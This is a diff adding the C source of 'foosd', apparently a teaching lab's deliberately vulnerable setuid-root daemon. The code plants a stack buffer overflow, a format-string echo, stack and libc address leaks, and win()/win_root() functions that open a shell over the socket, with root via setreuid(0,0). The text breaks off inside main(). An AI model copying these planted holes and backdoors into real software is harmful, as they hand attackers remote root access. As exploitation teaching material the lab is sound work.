Normal file
|
|
@ -0,0 +1,728 @@
|
||||||
|
/*
|
||||||
|
* ============================================================================
|
||||||
|
* foosd.c -- "foosd": an INTENTIONALLY VULNERABLE SUID-ROOT network daemon
|
||||||
|
* ============================================================================
|
||||||
|
*
|
||||||
|
* PURPOSE
|
||||||
|
* -------
|
||||||
|
* This is the SUID companion to `food`. Where `food` demonstrated how a
|
||||||
|
* buffer overflow becomes remote code execution, `foosd` demonstrates what
|
||||||
|
* happens when that RCE lands in a process whose *effective* uid is 0
|
||||||
|
* (root) because the binary has the setuid bit set.
|
||||||
|
*
|
||||||
|
* Run it without the setuid bit and you get a normal user shell, exactly as
|
||||||
|
* with food. Give the binary the setuid bit (`sudo make setuid`) and the
|
||||||
|
* exact same exploit-shipped shellcode opens a *root* shell -- because the
|
||||||
|
* process the shellcode runs in already has euid 0, and the shellcode is
|
||||||
|
* careful to clear the *real* uid as well (see the comment in foosc.c).
|
||||||
|
*
|
||||||
|
* This lab exists so you understand, hands-on, why "SUID bit + any reachable
|
||||||
|
* memory-corruption bug" is one of the most dangerous combinations in Unix,
|
||||||
|
* and -- the other half of the lesson -- why a carefully written SUID
|
||||||
|
* program is not necessarily safe either: the setuid bit silently changes
|
||||||
|
* the meaning of EVERY bug in the program.
|
||||||
|
*
|
||||||
|
* WHAT THE SETUID BIT ACTUALLY DOES
|
||||||
|
* --------------------------------
|
||||||
|
* Every process carries three user ids:
|
||||||
|
*
|
||||||
|
* real uid (ruid) the account that STARTED the process
|
||||||
|
* effective uid (euid) what the kernel checks when making decisions
|
||||||
|
* saved uid (suid) the "slot" a privileged process may return to
|
||||||
|
*
|
||||||
|
* A normal program has ruid == euid == saver. When you run a setuid binary:
|
||||||
|
*
|
||||||
|
* ruid = you (e.g. 1000, hanez)
|
||||||
|
* euid = the file owner (e.g. 0, root)
|
||||||
|
*
|
||||||
|
* The process is *root for all access-control purposes* even though the user
|
||||||
|
* who launched it is not. Every program under test in this lab is a child of
|
||||||
|
* that process (the daemon forks per connection), so each child also has
|
||||||
|
* euid 0. THAT is the whole attack surface the exploit aims at.
|
||||||
|
*
|
||||||
|
* THE CRUCIAL SECOND FACT -- WHY THIS LAB NEEDS setreuid SHELLCODE
|
||||||
|
* ----------------------------------------------------------------
|
||||||
|
* The classic "I got root, I'll just spawn /bin/sh" does NOT work from a
|
||||||
|
* setuid process, and the reason is a defence built into the shell itself:
|
||||||
|
*
|
||||||
|
* When bash (and dash, and most shells) starts with euid != ruid and is
|
||||||
|
* NOT given the `-p` (privileged) flag, it sets euid = ruid and walks
|
||||||
|
* away from the privilege. Bash documented this in its manual page. It
|
||||||
|
* exists precisely to stop a setuid binary from dropping the attacker
|
||||||
|
* into a root shell.
|
||||||
|
*
|
||||||
|
* So in this lab:
|
||||||
|
* win() -> execl("/bin/sh") -> shell, but uid 1000
|
||||||
|
* system("/bin/sh") -> ret2libc -> shell, but uid 1000
|
||||||
|
* shellcode without
|
||||||
|
* setreuid(0,0) -> execl -> shell, but uid 1000
|
||||||
|
* shellcode WITH
|
||||||
|
* setreuid(0,0) -> ruid becomes 0, bash sees equal uids,
|
||||||
|
* keeps euid 0 -> ROOT SHELL
|
||||||
|
*
|
||||||
|
* The shellcode in foosc.c therefore begins with setreuid(0, 0). That is the
|
||||||
|
* same reason the classic 24-byte /bin/sh shellcode you will find all over
|
||||||
|
* the internet starts with a setuid(0) syscall.
|
||||||
|
*
|
||||||
|
* SAFETY RAILS (please keep them in place)
|
||||||
|
* ----------------------------------------
|
||||||
|
* * Binds to 127.0.0.1 by default and REFUSES a non-loopback bind unless
|
||||||
|
* you pass -L. A setuid-root process listening on a real interface is a
|
||||||
|
* remote root hole waiting for a port scan. Do not do it.
|
||||||
|
* * Prints a startup warning to the log when it detects that it IS running
|
||||||
|
* with euid 0, because a well-designed daemon has no business being
|
||||||
|
* root on an unprivileged port (2343 > 1024).
|
||||||
|
* * Does not bind on 0.0.0.0 even with -L unless you also give -h 0.0.0.0;
|
||||||
|
* -L merely lifts the loopback *guard*.
|
||||||
|
*
|
||||||
|
* Build: make foosd (as your normal user)
|
||||||
|
* sudo make setuid (once, gives foosd the +s bit and root owner)
|
||||||
|
*
|
||||||
|
* THE BUILD FLAGS ARE THE SAME DELIBERATE REMOVALS AS food
|
||||||
|
* --------------------------------------------------------
|
||||||
|
* -fno-stack-protector no canary: the overflow is not detected
|
||||||
|
* -no-pie fixed addresses: win(), win_root() are constants
|
||||||
|
* -z execstack the stack is executable: shellcode can run
|
||||||
|
*
|
||||||
|
* `make hardened` rebuilds this file with all three re-enabled, which stops
|
||||||
|
* every technique, and `make test-hardened` shows you the log evidence.
|
||||||
|
* Note carefully in README.md: NOT ONE of those compiler mitigations does
|
||||||
|
* anything about the "the binary is setuid root" design decision. Memory
|
||||||
|
* safety and least privilege are two separate problems.
|
||||||
|
*
|
||||||
|
* Usage: ./foosd [-h HOST] [-p PORT] [-d] [-L]
|
||||||
|
* ============================================================================
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Request the gnu decls we need (dprintf, etc.). */
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <arpa/inet.h> /* inet_pton(): parse "127.0.0.1" into bytes. */
|
||||||
|
#include <errno.h> /* errno, strerror(). */
|
||||||
|
#include <fcntl.h> /* dup2() -- hand the accepted socket to the shell. */
|
||||||
|
#include <grp.h> /* setgroups(): part of the (never-called) privilege
|
||||||
|
* drop -- supplementary groups must go first. */
|
||||||
|
#include <netinet/in.h>/* struct sockaddr_in, htons(). */
|
||||||
|
#include <signal.h> /* signal(), sigaction(). */
|
||||||
|
#include <stdarg.h> /* va_list for our log wrapper. */
|
||||||
|
#include <stdint.h> /* uint16_t. */
|
||||||
|
#include <stdio.h> /* dprintf, snprintf. */
|
||||||
|
#include <stdlib.h> /* atoi, _exit, getenv. */
|
||||||
|
#include <string.h> /* memset, strncmp, memchr, strlen. */
|
||||||
|
#include <sys/socket.h>/* socket, bind, listen, accept. */
|
||||||
|
#include <sys/stat.h> /* umask. */
|
||||||
|
#include <sys/types.h> /* ssize_t, pid_t. */
|
||||||
|
#include <sys/ucontext.h>/* ucontext_t: REG_RIP etc. for the crash reporter. */
|
||||||
|
#include <sys/wait.h> /* waitpid(). */
|
||||||
|
#include <unistd.h> /* read, write, dup2, fork, getpid, setsid, chdir. */
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Configuration constants */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* Port. 2343 is deliberately not the 2342 used by food, so both labs can run
|
||||||
|
* side by side. It is above 1024 --- which is itself a teaching point: a
|
||||||
|
* correct daemon does not need root to bind this port, so being setuid is a
|
||||||
|
* design mistake, not a requirement. */
|
||||||
|
#define FOOSD_PORT 2343
|
||||||
|
|
||||||
|
/* Loopback is the ONLY default. -L is required to go further. */
|
||||||
|
#define FOOSD_HOST "127.0.0.1"
|
||||||
|
|
||||||
|
/* Size of the overflowed buffer. Same shape as food so the exploit's
|
||||||
|
* objdump-based offset detection (shared logic) works unchanged. */
|
||||||
|
#define FOOSD_BUFSZ 64
|
||||||
|
|
||||||
|
/* How much read() accepts. The mismatch with FOOSD_BUFSZ IS the bug. */
|
||||||
|
#define FOOSD_READMAX 512
|
||||||
|
|
||||||
|
/* Size of the second (format-string demo) buffer. */
|
||||||
|
#define FOOSD_LOGSZ 128
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Logging (same design as food: the log never travels to the attacker) */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* g_logfd -- a private copy of stdout taken BEFORE the socket is dup2()'d
|
||||||
|
* over fd 1. Every logmsg() line goes here, so a client that overwrites our
|
||||||
|
* memory or crashes a child never learns internal paths or addresses from
|
||||||
|
* logs (and never mixes its own bytes with ours). */
|
||||||
|
static int g_logfd = -1;
|
||||||
|
|
||||||
|
/* logmsg() -- timestamped, pid-prefixed line to the log descriptor. One
|
||||||
|
* write() per line, so forked children cannot interleave mid-line. */
|
||||||
|
static void logmsg(const char *fmt, ...)
|
||||||
|
{
|
||||||
|
char line[1024]; /* Whole-message scratch. */
|
||||||
|
va_list ap; /* Variadic argument cursor. */
|
||||||
|
int n; /* Bytes formatted. */
|
||||||
|
|
||||||
|
/* va_start MUST precede any use of ap. An uninitialised va_list makes
|
||||||
|
* vsnprintf walk wild stack memory -- a real bug that was hit in the
|
||||||
|
* earlier food.c, hence the comment. */
|
||||||
|
va_start(ap, fmt);
|
||||||
|
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
|
||||||
|
va_end(ap); /* Always pair va_start with va_end. */
|
||||||
|
if (n < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (g_logfd >= 0)
|
||||||
|
dprintf(g_logfd, "[foosd %d] %s\n", (int)getpid(), line);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* read_exact() / write_all() -- the CORRECT I/O helpers, present so you can
|
||||||
|
* hold them next to the deliberately broken read() in vulnerable_handler()
|
||||||
|
* and see the difference: these loop until done and check every result. */
|
||||||
|
__attribute__((unused))
|
||||||
|
static ssize_t read_exact(int fd, void *buf, size_t n)
|
||||||
|
{
|
||||||
|
size_t got = 0;
|
||||||
|
while (got < n) {
|
||||||
|
ssize_t r = read(fd, (char *)buf + got, n - got);
|
||||||
|
if (r < 0) {
|
||||||
|
if (errno == EINTR)
|
||||||
|
continue;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (r == 0)
|
||||||
|
break;
|
||||||
|
got += (size_t)r;
|
||||||
|
}
|
||||||
|
return (ssize_t)got;
|
||||||
|
}
|
||||||
|
|
||||||
|
static ssize_t write_all(int fd, const void *buf, size_t n)
|
||||||
|
{
|
||||||
|
size_t sent = 0;
|
||||||
|
while (sent < n) {
|
||||||
|
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
|
||||||
|
if (w <= 0) {
|
||||||
|
if (w < 0 && errno == EINTR)
|
||||||
|
continue;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
sent += (size_t)w;
|
||||||
|
}
|
||||||
|
return (ssize_t)sent;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The ret2win targets */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* win() -- the "easy" backdoor, and the reason a whole section of README.md
|
||||||
|
* exists. It is the same function as in food.c with ONE addition's worth of
|
||||||
|
* subtlety:
|
||||||
|
*
|
||||||
|
* execl("/bin/sh", "sh", NULL)
|
||||||
|
*
|
||||||
|
* gives the attacker a shell, but NOT a root shell, even though THIS process
|
||||||
|
* has euid 0, because bash/dash reset euid = ruid at startup when the two
|
||||||
|
* differ (and here ruid is still the launching user, e.g. 1000). So win()
|
||||||
|
* is a demonstration of control-flow hijack, and at the same time a real,
|
||||||
|
* documented example of a defence (the shell's privilege guard) that spoils
|
||||||
|
* what would otherwise be a one-line root shell.
|
||||||
|
*
|
||||||
|
* It is also precisely the trap people fall into with "SUID + system()": the
|
||||||
|
* injected command runs in a shell that just dropped the effective id, so on
|
||||||
|
* modern systems the classic setuid+system() trick no longer yields root --
|
||||||
|
* see README.md's "why the old one-liners fail" section.
|
||||||
|
*/
|
||||||
|
__attribute__((noinline, used))
|
||||||
|
static void win(void)
|
||||||
|
{
|
||||||
|
pid_t pid;
|
||||||
|
|
||||||
|
logmsg("win() reached -- exec'ing /bin/sh (uid will NOT be root while "
|
||||||
|
"euid!=ruid: the shell resets it; use win_root or shellcode for "
|
||||||
|
"a real root shell)");
|
||||||
|
|
||||||
|
/* Fork so the daemon's accept loop child can be reaped and return. */
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
logmsg("win(): fork() failed: %s", strerror(errno));
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
if (pid > 0) {
|
||||||
|
waitpid(pid, NULL, 0);
|
||||||
|
/* Must NOT return: that would pop attacker bytes as the next RIP. */
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Child. prepare_client_fds() already made fds 0/1/2 the socket. */
|
||||||
|
execl("/bin/sh", "sh", (char *)NULL);
|
||||||
|
_exit(127); /* Only reached if exec failed. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* win_root() -- the "privileged" backdoor. Byte-for-byte the same function
|
||||||
|
* as win() EXCEPT it first calls setreuid(0, 0).
|
||||||
|
*
|
||||||
|
* Why does that one line matter? Seeing it is the difference between a
|
||||||
|
* broken exploit and a root shell, so it deserves a close look:
|
||||||
|
*
|
||||||
|
* * setuid(0) would set euid = 0 and saved = 0 but LEAVE ruid = 1000.
|
||||||
|
* bash would then still see euid != ruid and still reset.
|
||||||
|
* * setreuid(0,0) sets BOTH real and effective to 0, and (being privileged)
|
||||||
|
* Linux also sets the saved id to 0.
|
||||||
|
* bash now sees euid == ruid == 0 and keeps root.
|
||||||
|
*
|
||||||
|
* That is why classic /bin/sh shellcode begins with a uid-clearing syscall:
|
||||||
|
* the "real" uid is the one the shell's guard compares against, and it must
|
||||||
|
* be cleared too. This function exists so `foosc -t ret2win-root` has a
|
||||||
|
* second, plain-C way to reach root and you can compare the two backdoors
|
||||||
|
* directly in the debugger.
|
||||||
|
*/
|
||||||
|
__attribute__((noinline, used))
|
||||||
|
static void win_root(void)
|
||||||
|
{
|
||||||
|
pid_t pid;
|
||||||
|
|
||||||
|
/* Nothing to check: a setuid process may set its uids arbitrarily. If
|
||||||
|
* foosd is NOT setuid this fails silently and the result is simply a
|
||||||
|
* non-root shell -- the lab works either way, which is deliberate. */
|
||||||
|
(void)setreuid(0, 0);
|
||||||
|
|
||||||
|
logmsg("win_root() reached -- setreuid(0,0) done, exec'ing /bin/sh");
|
||||||
|
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
logmsg("win_root(): fork() failed: %s", strerror(errno));
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
if (pid > 0) {
|
||||||
|
waitpid(pid, NULL, 0);
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
execl("/bin/sh", "sh", (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
__attribute__((noinline, used))
|
||||||
|
static void vulnerable_handler(int fd)
|
||||||
|
{
|
||||||
|
char buf[FOOSD_BUFSZ]; /* 64 stack bytes. The whole ballgame. */
|
||||||
|
char line[FOOSD_LOGSZ]; /* Second buffer, for the format-string demo. */
|
||||||
|
ssize_t n; /* Bytes actually read. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The BUF= leak -- the same deliberate CWE-200 disclosure as food. The
|
||||||
|
* stack is ASLR-randomised; without this the shellcode could not find
|
||||||
|
* itself. Real-world leaks of this kind come from %p format bugs, crash
|
||||||
|
* dumps, debug endpoints, or serialised uninitialised pointers.
|
||||||
|
*
|
||||||
|
* FIX: never print addresses to untrusted clients.
|
||||||
|
*/
|
||||||
|
dprintf(fd, "BUF=%p\n", (void *)buf);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ====================================================================
|
||||||
|
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
|
||||||
|
* ====================================================================
|
||||||
|
* Identical to food: 512 bytes are accepted into a 64-byte array, so the
|
||||||
|
* attacker writes 448 bytes past the end, overwriting the saved frame
|
||||||
|
* pointer and — 8 bytes later — the saved return address. On return,
|
||||||
|
* `ret` jumps wherever the attacker said:
|
||||||
|
*
|
||||||
|
* [ 64 bytes buf ][ 8 bytes saved rbp ][ 8 bytes RETURN ADDRESS ]
|
||||||
|
*
|
||||||
|
* The ONLY difference from food is *what that means*: here the hijacked
|
||||||
|
* process has euid 0, so "attacker controls RIP" becomes "attacker
|
||||||
|
* controls root's RIP".
|
||||||
|
*
|
||||||
|
* FIXES (in increasing order of strength):
|
||||||
|
* 1. n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
|
||||||
|
* 2. -fstack-protector-strong (canary aborts `ret`)
|
||||||
|
* 3. do not take network input into fixed stack buffers at all
|
||||||
|
* And SEPARATELY: do not run this daemon setuid. Memory safety and
|
||||||
|
* least privilege are two different bugs; fix both.
|
||||||
|
*/
|
||||||
|
n = read(fd, buf, FOOSD_READMAX); /* <-- CWE-120, THE bug. */
|
||||||
|
if (n <= 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
/* Echo back a truncated copy so you can watch the overflow in the log.
|
||||||
|
* Clamping for display does not undo the overwrite that already happened. */
|
||||||
|
{
|
||||||
|
ssize_t show = n < FOOSD_BUFSZ ? n : FOOSD_BUFSZ;
|
||||||
|
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
|
||||||
|
(void)write_all(fd, buf, (size_t)show);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ====================================================================
|
||||||
|
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
|
||||||
|
* ====================================================================
|
||||||
|
* Same as food: attacker '%'-specifiers in `buf` could read stack words
|
||||||
|
* with %x or write memory with %n. Here -- setuid root -- a %n is a
|
||||||
|
* write-what-where primitive IN A ROOT PROCESS, so this second bug is
|
||||||
|
* worse than it was in food. It runs only on a copy in `line`, and only
|
||||||
|
* triggers if the payload contains '%'.
|
||||||
|
*
|
||||||
|
* FIX: printf("%s", buf), never printf(buf).
|
||||||
|
*/
|
||||||
|
if (memchr(buf, '%', (size_t)n) != NULL) {
|
||||||
|
snprintf(line, sizeof(line), "%.*s", (int)FOOSD_LOGSZ - 1, buf);
|
||||||
|
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
|
||||||
|
(void)write_all(fd, line, strlen(line));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* On return the (attacker-controlled) saved return address becomes RIP. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Crash reporter (same rationale as food: a crash should tell you it was */
|
||||||
|
/* malicious; the fault address is the return address the client supplied). */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
|
||||||
|
{
|
||||||
|
ucontext_t *uc = (ucontext_t *)ucv;
|
||||||
|
unsigned long rip = 0, rsp = 0;
|
||||||
|
|
||||||
|
if (uc != NULL) {
|
||||||
|
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
|
||||||
|
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
|
||||||
|
}
|
||||||
|
|
||||||
|
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
|
||||||
|
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx (RIP is the address the client "
|
||||||
|
"supplied)", rip, rsp);
|
||||||
|
logmsg("SIGSEGV: if RIP is a real address the attacker jumped there; "
|
||||||
|
"if it looks like 0x4028xx it may BE the `ret` itself: a ret "
|
||||||
|
"into a non-canonical address (e.g. 0x4141414141414141) faults "
|
||||||
|
"at the ret, not at the target.");
|
||||||
|
|
||||||
|
/* Re-raise with the default disposition so the process still dies, with
|
||||||
|
* the correct status, rather than re-executing the faulting instruction
|
||||||
|
* forever (returning from this handler would do exactly that). */
|
||||||
|
signal(sig, SIG_DFL);
|
||||||
|
raise(sig);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void install_crash_reporter(void)
|
||||||
|
{
|
||||||
|
struct sigaction sa;
|
||||||
|
|
||||||
|
memset(&sa, 0, sizeof(sa));
|
||||||
|
sa.sa_sigaction = on_sigsegv; /* Extended two-argument handler. */
|
||||||
|
sa.sa_flags = SA_SIGINFO;
|
||||||
|
sigemptyset(&sa.sa_mask);
|
||||||
|
|
||||||
|
if (sigaction(SIGSEGV, &sa, NULL) < 0)
|
||||||
|
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
|
||||||
|
if (sigaction(SIGBUS, &sa, NULL) < 0)
|
||||||
|
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* fd handling */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* prepare_client_fds() -- put the accepted socket onto fds 0/1/2 so that
|
||||||
|
* every technique (ret2win, ret2libc, shellcode) produces a shell that
|
||||||
|
* automatically speaks over the network. */
|
||||||
|
static void prepare_client_fds(int fd)
|
||||||
|
{
|
||||||
|
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
|
||||||
|
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
|
||||||
|
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
|
||||||
|
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* THE INFORMATION LEAK */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* send_leaks() -- tell the attacker:
|
||||||
|
*
|
||||||
|
* ids= this process's euid/ruid. THE SUID DIAGNOSTIC.
|
||||||
|
* The exploit prints a warning when euid is not 0,
|
||||||
|
* because without the setuid bit there will be no root
|
||||||
|
* shell and the user would otherwise think the exploit
|
||||||
|
* is broken.
|
||||||
|
* leak stack=... an address on the stack, for the shellcode
|
||||||
|
* leak libc=... the real address of read() inside libc, for ret2libc
|
||||||
|
*
|
||||||
|
* The `ids=` spelling (rather than "euid="/"ruid=") is deliberate: the test
|
||||||
|
* harness proves a live shell by grepping for the string "uid=" in the
|
||||||
|
* session transcript, and "euid=" / "ruid=" both contain that substring, so
|
||||||
|
* printing them would make the banner itself pass the check. The ids= form
|
||||||
|
* cannot be confused with a shell's `id` output. This kind of "the probe and
|
||||||
|
* the answer must not share a signature" thinking is exactly what you do
|
||||||
|
* when you write real assertions about untrusted output.
|
||||||
|
*/
|
||||||
|
static void send_leaks(int fd)
|
||||||
|
{
|
||||||
|
long stack_marker = 0x4141414141414141L; /* Obvious in a debugger. */
|
||||||
|
ssize_t (*libc_read)(int, void *, size_t);/* Real address of read(). */
|
||||||
|
|
||||||
|
libc_read = &read; /* &read resolves through the GOT to libc. */
|
||||||
|
|
||||||
|
dprintf(fd, "FOOSD 1.0 ids=%d/%d leak stack=%p libc=%p\n",
|
||||||
|
(int)geteuid(), (int)getuid(),
|
||||||
|
(void *)&stack_marker, (void *)libc_read);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* THE CORRECT DESIGN, PRESENT BUT NEVER CALLED
|
||||||
|
* -------------------------------------------
|
||||||
|
* drop_privs() -- what a well-written daemon would do the moment it no
|
||||||
|
* longer needs root. Two mistakes to notice, both of which are immune to
|
||||||
|
* every compiler mitigation:
|
||||||
|
*
|
||||||
|
* * ORDER: you must drop in the order gid-capabilities that matter --
|
||||||
|
* setgroups() before setgid() before setuid(), and only AFTER binding
|
||||||
|
* the port and opening any root-only files. Drop first and the whole
|
||||||
|
* point of root is gone.
|
||||||
|
* * PERMANENCE: setuid() to a nonzero value and check it stuck (a root
|
||||||
|
* process may later regain privileges via saved id otherwise).
|
||||||
|
*
|
||||||
|
* In this lab it is deliberately absent from the accept loop, because the
|
||||||
|
* lab NEEDS the children to stay root. Keeping the correct version in the
|
||||||
|
* source, commented, lets you diff "what should be here" against "what is
|
||||||
|
* here" -- the two-line difference is the entire exploit surface.
|
||||||
|
*/
|
||||||
|
__attribute__((unused))
|
||||||
|
static void drop_privs(void)
|
||||||
|
{
|
||||||
|
/* Order matters: setgroups() first (a non-root user may not), then
|
||||||
|
* setgid(), then setuid(). Never the reverse. */
|
||||||
|
(void)setgroups(0, NULL); /* Remove all supplementary groups. */
|
||||||
|
(void)setgid(1000); /* Lose group privileges. */
|
||||||
|
if (setuid(1000) < 0) /* Any non-zero uid is fine here. */
|
||||||
|
_exit(1); /* If we cannot drop, FAIL CLOSED. */
|
||||||
|
|
||||||
|
/* Verify. getuid()/geteuid() are cheap; a SUID program whose drop failed
|
||||||
|
* silently is a root hole wearing a costume. */
|
||||||
|
if (getuid() != 1000 || geteuid() != 1000)
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Per-connection handling */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static void handle_client(int fd)
|
||||||
|
{
|
||||||
|
static const char banner[] =
|
||||||
|
"FOOSD 1.0 - deliberately vulnerable SUID service\n"
|
||||||
|
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
|
||||||
|
|
||||||
|
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
|
||||||
|
install_crash_reporter(); /* Log (g_logfd) lines, not to the socket. */
|
||||||
|
|
||||||
|
logmsg("client connected (uid=%d euid=%d)", (int)getuid(), (int)geteuid());
|
||||||
|
|
||||||
|
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
|
||||||
|
send_leaks(STDOUT_FILENO);
|
||||||
|
|
||||||
|
vulnerable_handler(STDOUT_FILENO);
|
||||||
|
|
||||||
|
/* Only reached when the payload did NOT hijack RIP. */
|
||||||
|
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
|
||||||
|
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The server loop */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static int make_listener(const char *host, int port)
|
||||||
|
{
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
int fd;
|
||||||
|
int one = 1;
|
||||||
|
|
||||||
|
fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (fd < 0) {
|
||||||
|
logmsg("socket() failed: %s", strerror(errno));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
|
||||||
|
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
|
||||||
|
|
||||||
|
memset(&addr, 0, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons((uint16_t)port);
|
||||||
|
|
||||||
|
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
|
||||||
|
logmsg("bad bind address: %s", host);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (port < 1 || port > 65535) {
|
||||||
|
logmsg("port out of range: %d", port);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||||
|
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (listen(fd, 16) < 0) {
|
||||||
|
logmsg("listen() failed: %s", strerror(errno));
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usage(const char *argv0)
|
||||||
|
{
|
||||||
|
fprintf(stderr,
|
||||||
|
"usage: %s [-h HOST] [-p PORT] [-d] [-L]\n"
|
||||||
|
"\n"
|
||||||
|
" -h HOST address to bind (default %s -- loopback only!\n"
|
||||||
|
" -L is required to bind anywhere else)\n"
|
||||||
|
" -p PORT TCP port to listen on (default %d)\n"
|
||||||
|
" -d daemonise: fork into the background\n"
|
||||||
|
" -L ALLOW binding to a non-loopback address (dangerous:\n"
|
||||||
|
" this binary is meant to be run SETUID ROOT)\n"
|
||||||
|
"\n"
|
||||||
|
"WARNING: this program is intentionally exploitable AND is meant\n"
|
||||||
|
"to be run setuid root. Do not run it on any host that matters,\n"
|
||||||
|
"never bind it beyond loopback, and remove the setuid bit with\n"
|
||||||
|
"`sudo make unsetuid` when you are done.\n",
|
||||||
|
argv0, FOOSD_HOST, FOOSD_PORT);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
const char *host = FOOSD_HOST; /* Bind address. */
|
||||||
|
int port = FOOSD_PORT; /* Bind port. */
|
||||||
|
int daemonise = 0; /* -d. */
|
||||||
|
int allow_nonloopback = 0; /* -L. The setuid safety guard. */
|
||||||
|
int lfd; /* Listening socket. */
|
||||||
|
int i; /* getopt() index. */
|
||||||
|
|
||||||
|
while ((i = getopt(argc, argv, ":h:p:dL")) != -1) {
|
||||||
|
switch (i) {
|
||||||
|
case 'h': host = optarg; break;
|
||||||
|
case 'p': port = atoi(optarg); break;
|
||||||
|
case 'd': daemonise = 1; break;
|
||||||
|
case 'L': allow_nonloopback = 1; break;
|
||||||
|
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
|
||||||
|
usage(argv[0]);
|
||||||
|
return 2;
|
||||||
|
default: usage(argv[0]);
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* THE SETUID SAFETY GUARD.
|
||||||
|
*
|
||||||
|
